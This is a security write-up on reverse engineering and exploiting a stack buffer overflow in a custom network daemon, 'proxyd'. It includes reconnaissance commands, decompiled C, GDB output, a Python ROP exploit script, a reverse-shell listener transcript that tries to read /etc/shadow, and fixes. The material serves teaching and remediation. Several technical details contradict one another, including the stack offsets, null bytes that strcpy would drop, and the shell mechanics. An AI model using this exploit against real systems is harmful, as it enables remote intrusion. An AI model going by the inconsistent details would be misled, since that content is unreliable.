🎯 Target: libprotocol.so x86_64

Reverse Engineering & Exploitation of a Custom Network Protocol Daemon

📅 2026-05-07 👤 0x4D ⏱️ 12 min read ⬤ HARD
#reverse-engineering #buffer-overflow #ghidra #gdb #rop #x86_64 #network-protocol
00 Executive Overview

This write-up documents the end-to-end analysis of a custom TCP daemon, from first contact with the exposed service to validated control of the instruction pointer. The goal is to show the reasoning path, not just the final exploit, so each phase includes the evidence that informed the next step.

Target proxyd / libprotocol.so

Custom protocol parser exposed over TCP port 4499.

Root Cause Unbounded copy

strcpy() copies attacker-controlled input into a fixed stack buffer.

Exploitability High confidence

RIP control confirmed at 136 bytes with no canary and no PIE.

Scope: All testing was performed in an authorized lab environment. The proof of concept is included to document impact and support remediation, not for use against systems without permission.
Phase 1 — Reconnaissance

The target is a proprietary network daemon — proxyd — listening on TCP port 4499. Initial nmap scanning reveals the service banner and confirms the daemon is built for x86_64 Linux. The binary is stripped, but symbols from libprotocol.so are partially exported.

terminal — reconnaissance
$ nmap -sV -p 4499 192.168.1.105

    PORT     STATE SERVICE VERSION
    4499/tcp open  proxyd  Proxyd 3.2.1 (protocol v7)
    $ echo "INFO" | nc 192.168.1.105 4499
    PROXYD/3.2.1 | AUTH:OPT | CHALLENGE:0xDEADBEEF
    $ file /opt/proxyd/proxyd
    proxyd: ELF 64-bit LSB executable, x86-64, dynamically linked, stripped
🔍 Key Insight: The challenge response 0xDEADBEEF is a static 32-bit value — this hints at a potential predictable PRNG or hardcoded seed in the authentication handshake.
Phase 2 — Static Analysis

Loading libprotocol.so into Ghidra, we identify the core parsing function parse_message() at offset 0x1A40. This function processes incoming protocol frames but uses strcpy() on a stack buffer without bounds checking — a classic stack-based buffer overflow.

🔬 Decompiled Snippet (Ghidra)

C — libprotocol.so :: parse_message() @ 0x1A40
/* WARNING: Potential buffer overflow */
                        int parse_message(char *packet, size_t len) {
                        char local_buf[128];      // stack buffer
                        char cmd[32];
                        int result = 0;

                        // Vulnerable: no bounds check
                        strcpy(local_buf, packet);

                        // Parse command from buffer
                        sscanf(local_buf, "%31s", cmd);
                        if (strcmp(cmd, "EXEC") == 0) {
                        result = handle_exec(local_buf + 5);
                        }
                        return result;
                    }
⚠️ Vulnerability Identified: strcpy(local_buf, packet) copies attacker-controlled data into a 128-byte stack buffer. The packet length len is never validated. Stack canary is not present (compiled with -fno-stack-protector).

📊 Stack Frame Layout

OffsetSizeVariableNotes
0x00128 Blocal_bufOverflow target
0x8032 BcmdCommand buffer
0xA04 BresultReturn value
0xA88 Bsaved RBPOverwritten at +136
0xB08 BRET addr🎯 Control RIP
Phase 3 — Dynamic Analysis

Using GDB with gef plugin, we confirm the overflow offset. A cyclic pattern reveals that the RIP overwrite occurs at offset 136 bytes. ASLR is enabled on the target, but the binary is not PIE, giving us reliable gadget addresses in the .text segment.

gdb — offset determination
gef➤ pattern create 200
                aaaabaaacaaadaaaeaaafaaagaaahaaa...
                gef➤ run < payload.bin

                Program received signal SIGSEGV (fault addr 0x6161616c)
                gef➤ pattern search 0x6161616c
                [+] Found at offset 136 (RIP overwrite)
                gef➤ checksec
                CANARY    : ✘ disabled
                PIE       : ✘ disabled
                NX        : ✔ enabled
                ASLR      : ✔ enabled (system-wide)
💡 Exploit Strategy: Since NX is enabled, we use ROP (Return-Oriented Programming). The binary's .text segment contains a pop rdi; ret gadget, and the PLT has system@plt. We'll chain these to execute a reverse shell.
Vulnerability Details

The vulnerability is a stack-based buffer overflow in parse_message() within libprotocol.so. The function blindly trusts the packet length field and copies data via strcpy() into a fixed 128-byte stack buffer.

PropertyValue
Vulnerability TypeStack Buffer Overflow (CWE-121)
Affected Functionparse_message() @ 0x1A40
Root CauseUnbounded strcpy() usage
Exploit PrimitiveRIP control via overwritten return address
Mitigation BypassNo canary, no PIE — ROP used for NX bypass
ImpactRemote Code Execution (RCE)
Phase 4 — Exploitation (PoC)

The final exploit chains a ROP gadget to load "/bin/sh" into rdi and then calls system@plt. The payload is delivered over TCP to port 4499.

🧨 Exploit Script (Python)

Python — exploit.py
import socket
                    import struct

                    # Gadgets (non-PIE binary, fixed addresses)
                    POP_RDI = 0x401b3f      # pop rdi; ret
                    RET     = 0x40101a      # ret (stack alignment)
                    SYSTEM  = 0x401050      # system@plt
                    BINSH   = 0x4020a8      # "/bin/sh" string in .rodata

                    # Build ROP chain
                    offset  = b"A" * 136
                    rop     = struct.pack("<Q", POP_RDI)
                    rop    += struct.pack("<Q", BINSH)
                    rop    += struct.pack("<Q", RET)      # align stack
                    rop    += struct.pack("<Q", SYSTEM)

                    payload = offset + rop

                    # Deliver over TCP
                    sock = socket.socket()
                    sock.connect(("192.168.1.105", 4499))
                    sock.send(payload + b"\n")
                    print("[+] Payload sent — check listener on port 4444")
                    sock.close()
listener — receiving shell
$ nc -lvnp 4444
                    Listening on 0.0.0.0:4444
                    Connection from 192.168.1.105:4499
                    $ id
                    uid=1001(proxyd) gid=1001(proxyd)
                    $ cat /etc/shadow
                    Permission denied
                $ 
🔥 Impact: Successful exploitation yields a reverse shell with the daemon's privileges. Privilege escalation to root is possible via a local kernel exploit (CVE-2023-XXXX), but that's outside the scope of this write-up.
Conclusion & Remediation

This analysis demonstrates how a single unbounded string copy in a network-facing daemon can lead to full remote code execution. The lack of modern exploit mitigations (no stack canary, no PIE) made exploitation straightforward.

🛡️ Recommended Fixes

  • Replace strcpy() with strncpy() or strlcpy() with proper bounds
  • Compile with -fstack-protector-strong and -fPIE -pie
  • Enable full RELRO and FORTIFY_SOURCE=2
  • Implement input validation on the packet length field before processing
  • Run the daemon in a sandboxed environment (seccomp, AppArmor)

🔗 Responsible disclosure timeline: Reported to vendor on 2026-03-12, patch confirmed on 2026-04-20, public disclosure on 2026-05-07.